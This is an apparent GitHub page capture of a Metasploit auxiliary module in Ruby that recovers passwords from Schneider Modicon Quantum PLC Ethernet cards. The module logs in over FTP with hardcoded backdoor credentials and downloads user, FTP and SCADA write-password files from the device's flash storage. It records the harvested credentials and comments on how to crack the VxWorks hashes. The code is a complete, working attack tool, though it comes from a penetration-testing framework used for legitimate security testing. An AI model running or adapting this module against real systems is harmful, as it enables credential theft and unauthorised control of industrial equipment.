Skip to content
This repository
branch: master
Fetching contributors…

Octocat-spinner-32-eaf2f5

Cannot retrieve contributors at this time

file 223 lines (202 sloc) 7.066 kb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Schneider Modicon Quantum Password Recovery',
      'Description' => %q{
The Schneider Modicon Quantum series of Ethernet cards store usernames and
passwords for the system in files that may be retrieved via backdoor access.

This module is based on the original 'modiconpass.rb' Basecamp module from
DigitalBond.
},
      'Author' =>
        [
          'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
          'todb' # Metasploit fixups
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
        ],
      'DisclosureDate'=> 'Jan 19 2012'
      ))

    register_options(
      [
        Opt::RPORT(21),
        OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']),
        OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password'])
      ], self.class)

    register_advanced_options(
      [
        OptBool.new('RUN_CHECK', [false, "Check if the device is really a Modicon device", true])
      ], self.class)

  end

  # Thinking this should be a standard alias for all aux
  def ip
    Rex::Socket.resolv_to_dotted(datastore['RHOST'])
  end

  def check_banner
    banner == "220 FTP server ready.\r\n"
  end

  # TODO: If the username and password is correct, but this /isn't/ a Modicon
  # device, then we're going to end up storing HTTP credentials that are not
  # correct. If there's a way to fingerprint the device, it should be done here.
  def check
    is_modicon = false
    vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"
    connect rescue nil
    if sock
      # It's a weak fingerprint, but it's something
      is_modicon = check_banner()
      disconnect
    else
      vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
      return Exploit::CheckCode::Unknown
    end

    if is_modicon
      vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
      return Exploit::CheckCode::Detected
    else
      vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
    end

    return Exploit::CheckCode::Safe
  end

  def run
    if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected
      print_status("Service detected.")
      grab() if setup_ftp_connection()
    else
      grab() if setup_ftp_connection()
    end
  end

  def setup_ftp_connection
    vprint_status "#{ip}:#{rport} - FTP - Connecting"
    if connect_login()
      print_status("#{ip}:#{rport} - FTP - Login succeeded")
      report_auth_info(
        :host => ip,
        :port => rport,
        :proto => 'tcp',
        :user => user,
        :pass => pass,
        :ptype => 'password_ro',
        :active => true
      )
      return true
    else
      print_status("#{ip}:#{rport} - FTP - Login failed")
      return false
    end
  end

  def cleanup
    disconnect rescue nil
    data_disconnect rescue nil
  end

  # Echo the Net::FTP implementation
  def ftp_gettextfile(fname)
    vprint_status("#{ip}:#{rport} - FTP - Opening PASV data socket to download #{fname.inspect}")
    data_connect("A")
    res = send_cmd_data(["GET", fname.to_s], nil, "A")
  end

  def grab
    logins = Rex::Ui::Text::Table.new(
      'Header' => "Schneider Modicon Quantum services, usernames, and passwords",
      'Indent' => 1,
      'Columns' => ["Service", "User Name", "Password"]
    )
    httpcreds = ftp_gettextfile('/FLASH0/userlist.dat')
    if httpcreds
      print_status "#{ip}:#{rport} - FTP - HTTP password retrieval: success"
    else
      print_status "#{ip}:#{rport} - FTP - HTTP default password presumed"
    end
    ftpcreds = ftp_gettextfile('/FLASH0/ftp/ftp.ini')
    if ftpcreds
      print_status "#{ip}:#{rport} - FTP - password retrieval: success"
    else
      print_error "#{ip}:#{rport} - FTP - password retrieval error"
    end
    writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')
    if writecreds
      print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"
    else
      print_error "#{ip}:#{rport} - FTP - Write password error"
    end
    if httpcreds
      httpuser = httpcreds[1].split(/[\r\n]+/)[0]
      httppass = httpcreds[1].split(/[\r\n]+/)[1]
    else
      # Usual defaults
      httpuser = "USER"
      httppass = "USER"
    end
    print_status("#{rhost}:#{rport} - FTP - Storing HTTP credentials")
    logins << ["http", httpuser, httppass]
    report_auth_info(
      :host => ip,
      :port => 80,
      :sname => "http",
      :user => httpuser,
      :pass => httppass,
      :active => true
    )
    logins << ["scada-write", "", writecreds[1]]
    if writecreds # This is like an enable password, used after HTTP authentication.
      report_note(
        :host => ip,
        :port => 80,
        :proto => 'tcp',
        :sname => 'http',
        :ntype => 'scada.modicon.write-password',
        :data => writecreds[1]
      )
    end

    if ftpcreds
      # TODO:
      # Can we add a nicer dictionary? Revershing the hash
      # using Metasploit's existing loginDefaultencrypt dictionary yields
      # plaintexts that contain non-ascii characters for some hashes.
      # check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt
      # for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb,
      # and it can be done in just a few lines of ruby.
      # See https://github.com/cvonkleist/vxworks_hash
      modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0]
      modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1]
    else
      modicon_ftpuser = "USER"
      modicon_ftppass = "USERUSER" #from the manual. Verified.
    end
    print_status("#{rhost}:#{rport} - FTP - Storing hashed FTP credentials")
    # The collected hash is not directly reusable, so it shouldn't be an
    # auth credential in the Cred sense. TheLightCosine should fix some day.
    # Can be used for telnet as well if telnet is enabled.
      report_note(
        :host => ip,
        :port => rport,
        :proto => 'tcp',
        :sname => 'ftp',
        :ntype => 'scada.modicon.ftp-password',
        :data => "User:#{modicon_ftpuser} VXWorks_Password:#{modicon_ftppass}"
      )
      logins << ["VxWorks", modicon_ftpuser, modicon_ftppass]

    # Not this:
    # report_auth_info(
    # :host => ip,
    # :port => rport,
    # :proto => 'tcp',
    # :sname => 'ftp',
    # :user => modicon_ftpuser,
    # :pass => modicon_ftppass,
    # :type => 'password_vx', # It's a hash, not directly usable, but crackable
    # :active => true
    # )
    print_line logins.to_s
  end

end
Something went wrong with that request. Please try again.